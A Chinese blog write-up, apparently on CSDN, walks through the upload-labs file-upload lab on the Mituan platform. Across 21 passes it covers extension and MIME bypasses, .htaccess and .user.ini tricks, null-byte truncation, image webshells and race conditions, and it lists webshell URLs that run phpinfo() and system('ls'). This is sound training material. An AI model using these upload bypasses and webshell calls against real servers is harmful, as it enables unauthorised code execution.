谜团靶机writeup - 专项 · 文件上传

涵盖极广的常见且实用的文件上传漏洞利用技巧,收集了渗透测试和CTF中遇到的各种上传漏洞,涵盖文件上传的所有基本的利用技巧,旨在帮助大家对上传漏洞有一个全面的了解。
upload-labs是一个使用php语言编写的,专门收集渗透测试和CTF中遇到的各种上传漏洞的靶场。旨在帮助大家对上传漏洞有一个全面的了解。

谜团靶机平台地址:https://mituan.zone/

注册选择靶机

注册登录之后可以看到有很多靶机,选择本次的目标-文件上传。
在这里插入图片描述
遇到不符合常理的问题可以点清空上传文件试试。
在这里插入图片描述

图片马

gif格式的图片马,使用16进制打开文件,从第四行开始修改。
在这里插入图片描述
jpg格式的图片马,直接合并即可。
在这里插入图片描述
文件如下:
在这里插入图片描述
在这里插入图片描述

Pass-01 JS验证

在这里插入图片描述
通过前端JS验证,抓包改后缀。
在这里插入图片描述
上传完成后,访问图片地址:http://90951ba6794b4ed1926aef5d113d5c5f.app.mituan.zone/upload/2.php?8=phpinfo();
在这里插入图片描述

Pass-02 Content-type

在这里插入图片描述
上传图片马,抓包改后缀。
在这里插入图片描述
访问地址:http://90951ba6794b4ed1926aef5d113d5c5f.app.mituan.zone/upload/2.php?8=phpinfo();

Pass-03 构造后缀

在这里插入图片描述

  • 后缀改成php3、phtml都行
  • http://90951ba6794b4ed1926aef5d113d5c5f.app.mituan.zone/upload/202101090941268782.php3?8=phpinfo();
  • http://90951ba6794b4ed1926aef5d113d5c5f.app.mituan.zone/upload/202101090942151590.phtml?8=phpinfo();

Pass-04 htaccess

.htaccess文件生效前提条件为1.mod_rewrite模块开启。2.AllowOverride All
在这里插入图片描述
后缀156的文件当作php来解析。
在这里插入图片描述
访问http://90951ba6794b4ed1926aef5d113d5c5f.app.mituan.zone/upload/2.156?8=phpinfo();
在这里插入图片描述

Pass-05 多后缀|.user.ini

上传1.PhP.7z或者改文件名1.php.7z都可以。【只要中间后缀含可执行后缀如php,php3,PhP3等均可执行】
在这里插入图片描述
访问地址:http://90951ba6794b4ed1926aef5d113d5c5f.app.mituan.zone/upload/1.PhP.7z?8=phpinfo();


  • .user.ini是一个能被动态加载的ini文件。也就是说我修改了.user.ini后,不需要重启服务器中间件,只需要等待user_ini.cache_ttl所设置的时间(默认为300秒),即可被重新加载。

上传.user.iniauto_prepend_file=test.jpg,线上好像不行,下图为本地测试(PHP_NTS_Apache)(参考:https://wooyun.js.org/drops/user.ini文件构成的PHP后门.html)、.user.ini上传详解附CTF例题
在这里插入图片描述

Pass-06 大小写

在这里插入图片描述
访问地址:http://90951ba6794b4ed1926aef5d113d5c5f.app.mituan.zone/upload/202101090952599009.PhP?8=phpinfo();

Pass-07 空格

在这里插入图片描述
在Win(会忽略扩展名的空格)上可以解析,因为靶场是Linux,故无法解析。

Pass-08 点绕过

在这里插入图片描述
访问地址:http://90951ba6794b4ed1926aef5d113d5c5f.app.mituan.zone/upload/2.php.?8=phpinfo();
在这里插入图片描述

Pass-09 文件流

在这里插入图片描述
在Win(会忽略文件流)上可以解析,因为靶场是Linux,故无法解析。

Pass-10 构造后缀

2.php.jpg也可以。
在这里插入图片描述
访问地址:http://90951ba6794b4ed1926aef5d113d5c5f.app.mituan.zone/upload/2.php.?8=phpinfo();

Pass-11 后缀双写

在这里插入图片描述
访问地址:http://90951ba6794b4ed1926aef5d113d5c5f.app.mituan.zone/upload/2.php?8=phpinfo();

Pass-12 GET截断

在这里插入图片描述
利用PHP V5.2存在截断漏洞,访问地址:http://90951ba6794b4ed1926aef5d113d5c5f.app.mituan.zone/upload/12.php?8=phpinfo();

Pass-13 POST截断

在这里插入图片描述
在HEX模式下将a的16进制值61修改为00。
在这里插入图片描述
回到RAW模式,发现出现了乱码,不用管,放行数据包。
在这里插入图片描述
访问地址:http://90951ba6794b4ed1926aef5d113d5c5f.app.mituan.zone/upload/13.php?8=phpinfo();

Pass-14 文件头

直接上传图片马,未抓包,下载上传的图片,发现一句话还存在即可。
在这里插入图片描述

Pass-15 函数判断后缀

在这里插入图片描述
上传图片马后,下载下来验证是否还有一句话。

Pass-16 php_exif判断后缀

在这里插入图片描述
上传图片马后,下载下来验证是否还有一句话。

Pass-17 二次渲染

上传gif图片马后,下载下来验证是否还有一句话。jpg的比较难做。

Pass-18 条件竞争

在这里插入图片描述
先上传文件,然后再判断是否合法。我们可以利用PHP程序的这个反应间隙用文件写入函数生成一句话。
抓取上传包:
在这里插入图片描述
抓取访问包(就当文件存在):http://90951ba6794b4ed1926aef5d113d5c5f.app.mituan.zone/upload/file.php
然后进行参数设置。
上传包:
在这里插入图片描述
访问包:
在这里插入图片描述
最后一起暴力发包。
在这里插入图片描述
跑了10W个数据包,一个200状态码的都没有,果断放弃了,不过在另外一个文件上传靶场一次就成功了。
在这里插入图片描述

Pass-19 条件竞争

同上也是失败,这一关其他靶场也没有成功过。

Pass-20 POST截断

方式同13关,13关改的目录,20关改的文件名。
在这里插入图片描述
或者
在这里插入图片描述

或者
在这里插入图片描述

Pass-21 构造数组

代码分析:
在这里插入图片描述
构造数组:
在这里插入图片描述
访问地址:http://90951ba6794b4ed1926aef5d113d5c5f.app.mituan.zone/upload/21.php.?8=system('ls');

销毁靶机

在这里插入图片描述
第5关明明完成了啊,18、19关的条件竞争失败。

参考:
文件上传之靶场upload-labs(11-20):https://www.cnblogs.com/heguoze/p/12008849.html
构造优质上传漏洞fuzz字典:https://gv7.me/articles/2018/make-upload-vul-fuzz-dic/

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值